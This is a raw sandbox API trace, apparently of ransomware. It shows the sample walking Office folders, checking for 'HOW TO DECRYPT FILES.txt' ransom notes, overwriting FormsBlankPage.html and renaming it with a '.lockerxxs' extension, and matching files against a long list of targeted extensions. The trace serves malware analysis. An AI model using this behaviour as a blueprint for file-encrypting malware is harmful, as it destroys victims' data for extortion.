returned 1 [0064.901] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.901] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DELETE.GIF") returned 1 [0064.901] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DELETE.GIF") returned 1 [0064.901] lstrcmpiA (lpString1="", lpString2="DELETE.GIF") returned -1 [0064.901] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF") returned="CALENDAR.GIF" [0064.902] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.902] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.902] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.902] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.902] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="DELETE.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF" [0064.902] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF", pszSpec="*.ems") returned 0 [0064.903] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0064.903] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.903] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ERROR.GIF") returned -1 [0064.903] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ERROR.GIF") returned 1 [0064.903] lstrcmpiA (lpString1="", lpString2="ERROR.GIF") returned -1 [0064.903] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF") returned="DELETE.GIF" [0064.903] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.903] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.903] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.903] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.904] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="ERROR.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF" [0064.904] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3c400, ftCreationTime.dwHighDateTime=0x1ca5dc0, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77e3c400, ftLastWriteTime.dwHighDateTime=0x1ca5dc0, nFileSizeHigh=0x0, nFileSizeLow=0x14484, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0064.904] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.904] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FORM.JS") returned -1 [0064.904] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FORM.JS") returned 1 [0064.904] lstrcmpiA (lpString1="", lpString2="FORM.JS") returned -1 [0064.904] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF") returned="ERROR.GIF" [0064.904] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.904] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.904] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.905] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.905] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FORM.JS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS" [0064.905] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="FormsBlankPage.html", cAlternateFileName="FORMSB~1.HTM")) returned 1 [0064.905] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.905] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsBlankPage.html") returned -1 [0064.905] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsBlankPage.html") returned 1 [0064.905] lstrcmpiA (lpString1="", lpString2="FormsBlankPage.html") returned -1 [0064.905] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS") returned="FORM.JS" [0064.905] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.905] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.905] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.905] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.905] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsBlankPage.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" [0064.906] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" [0064.906] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" [0064.906] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html." [0064.906] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.lockerxxs" [0064.906] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.906] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43a [0064.906] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5291c2f0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0064.907] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.907] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x414, lpOverlapped=0x0) returned 1 [0064.935] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html") returned="FormsBlankPage.html" [0064.935] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.935] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x414, lpOverlapped=0x0) returned 1 [0064.935] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.936] CloseHandle (hObject=0x98) returned 1 [0064.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html.lockerxxs")) returned 1 [0064.938] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x829, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="FORMSB~2.HTM")) returned 1 [0064.938] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.938] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsBrowserUpgrade.html") returned -1 [0064.938] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsBrowserUpgrade.html") returned 1 [0064.938] lstrcmpiA (lpString1="", lpString2="FormsBrowserUpgrade.html") returned -1 [0064.938] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html") returned="FormsBlankPage.html" [0064.938] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.938] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.938] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.938] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.939] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsBrowserUpgrade.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.ems") returned 0 [0064.939] lstrlenA (lpString="*.ems") returned 5 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.db") returned 0 [0064.939] lstrlenA (lpString="*.db") returned 4 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.dbf") returned 0 [0064.939] lstrlenA (lpString="*.dbf") returned 5 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.myox") returned 0 [0064.939] lstrlenA (lpString="*.myox") returned 6 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.myo") returned 0 [0064.939] lstrlenA (lpString="*.myo") returned 5 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qbw") returned 0 [0064.939] lstrlenA (lpString="*.qbw") returned 5 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qbb") returned 0 [0064.939] lstrlenA (lpString="*.qbb") returned 5 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qbm") returned 0 [0064.939] lstrlenA (lpString="*.qbm") returned 5 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qbo") returned 0 [0064.939] lstrlenA (lpString="*.qbo") returned 5 [0064.939] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qbx") returned 0 [0064.939] lstrlenA (lpString="*.qbx") returned 5 [0064.940] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qba") returned 0 [0064.940] lstrlenA (lpString="*.qba") returned 5 [0064.940] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qby") returned 0 [0064.940] lstrlenA (lpString="*.qby") returned 5 [0064.940] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qbj") returned 0 [0064.940] lstrlenA (lpString="*.qbj") returned 5 [0064.940] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.ofx") returned 0 [0064.940] lstrlenA (lpString="*.ofx") returned 5 [0064.940] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.qif") returned 0 [0064.940] lstrlenA (lpString="*.qif") returned 5 [0064.940] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.mye") returned 0 [0064.940] lstrlenA (lpString="*.mye") returned 5 [0064.940] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.mbox") returned 0 [0064.940] lstrlenA (lpString="*.mbox") returned 6 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.eml") returned 0 [0064.941] lstrlenA (lpString="*.eml") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.pst") returned 0 [0064.941] lstrlenA (lpString="*.pst") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.ost") returned 0 [0064.941] lstrlenA (lpString="*.ost") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.idx") returned 0 [0064.941] lstrlenA (lpString="*.idx") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.dbx") returned 0 [0064.941] lstrlenA (lpString="*.dbx") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.sql") returned 0 [0064.941] lstrlenA (lpString="*.sql") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.mdb") returned 0 [0064.941] lstrlenA (lpString="*.mdb") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.fdb") returned 0 [0064.941] lstrlenA (lpString="*.fdb") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.wab") returned 0 [0064.941] lstrlenA (lpString="*.wab") returned 5 [0064.941] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.dat") returned 0 [0064.941] lstrlenA (lpString="*.dat") returned 5 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.txt") returned 0 [0064.942] lstrlenA (lpString="*.txt") returned 5 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.jpeg") returned 0 [0064.942] lstrlenA (lpString="*.jpeg") returned 6 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.jpg") returned 0 [0064.942] lstrlenA (lpString="*.jpg") returned 5 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.png") returned 0 [0064.942] lstrlenA (lpString="*.png") returned 5 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.php") returned 0 [0064.942] lstrlenA (lpString="*.php") returned 5 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.cs") returned 0 [0064.942] lstrlenA (lpString="*.cs") returned 4 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.cpp") returned 0 [0064.942] lstrlenA (lpString="*.cpp") returned 5 [0064.942] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html", pszSpec="*.rar") returned 0 [0064.943] lstrlenA (lpString="*.rar") returned 5 [0064.943] PathMatchSpecA 